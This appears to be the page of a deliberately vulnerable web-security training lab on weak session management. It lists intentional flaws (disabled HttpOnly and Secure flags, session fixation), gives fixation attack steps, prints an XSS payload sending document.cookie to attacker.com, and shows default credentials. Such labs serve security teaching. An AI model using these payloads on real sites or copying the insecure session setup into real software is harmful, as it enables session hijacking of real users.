← Back to Dashboard

🍪 Weak Session Management

Session handling with multiple security flaws

Login

Current Session Info:

Session ID:
Cookie Name: PHPSESSID
HttpOnly: ❌ Disabled
Secure Flag: ❌ Disabled

Session Data:

Array ( )

JavaScript Cookie Access:

⚠️ HttpOnly is disabled - JavaScript can read/steal session!

🎯 Vulnerability Info

Type: Weak Session Management

Severity: High

💡 Vulnerabilities Present

  • HttpOnly flag disabled (XSS can steal session)
  • Secure flag disabled (works over HTTP)
  • No session regeneration on login
  • Predictable session IDs possible
  • Session fixation possible

🧪 Session Fixation Attack

  1. Attacker creates fixed session ID
  2. Sends link with session: ?set_session=ATTACKER123
  3. Victim clicks and logs in
  4. Attacker uses same session ID to hijack

🔧 Test Links

Generate Weak Session Set Fixed Session

📝 Steal Session via XSS

<script> new Image().src="http://attacker.com/steal?c="+document.cookie; </script>

📚 Credentials

  • admin / admin123
  • user / user123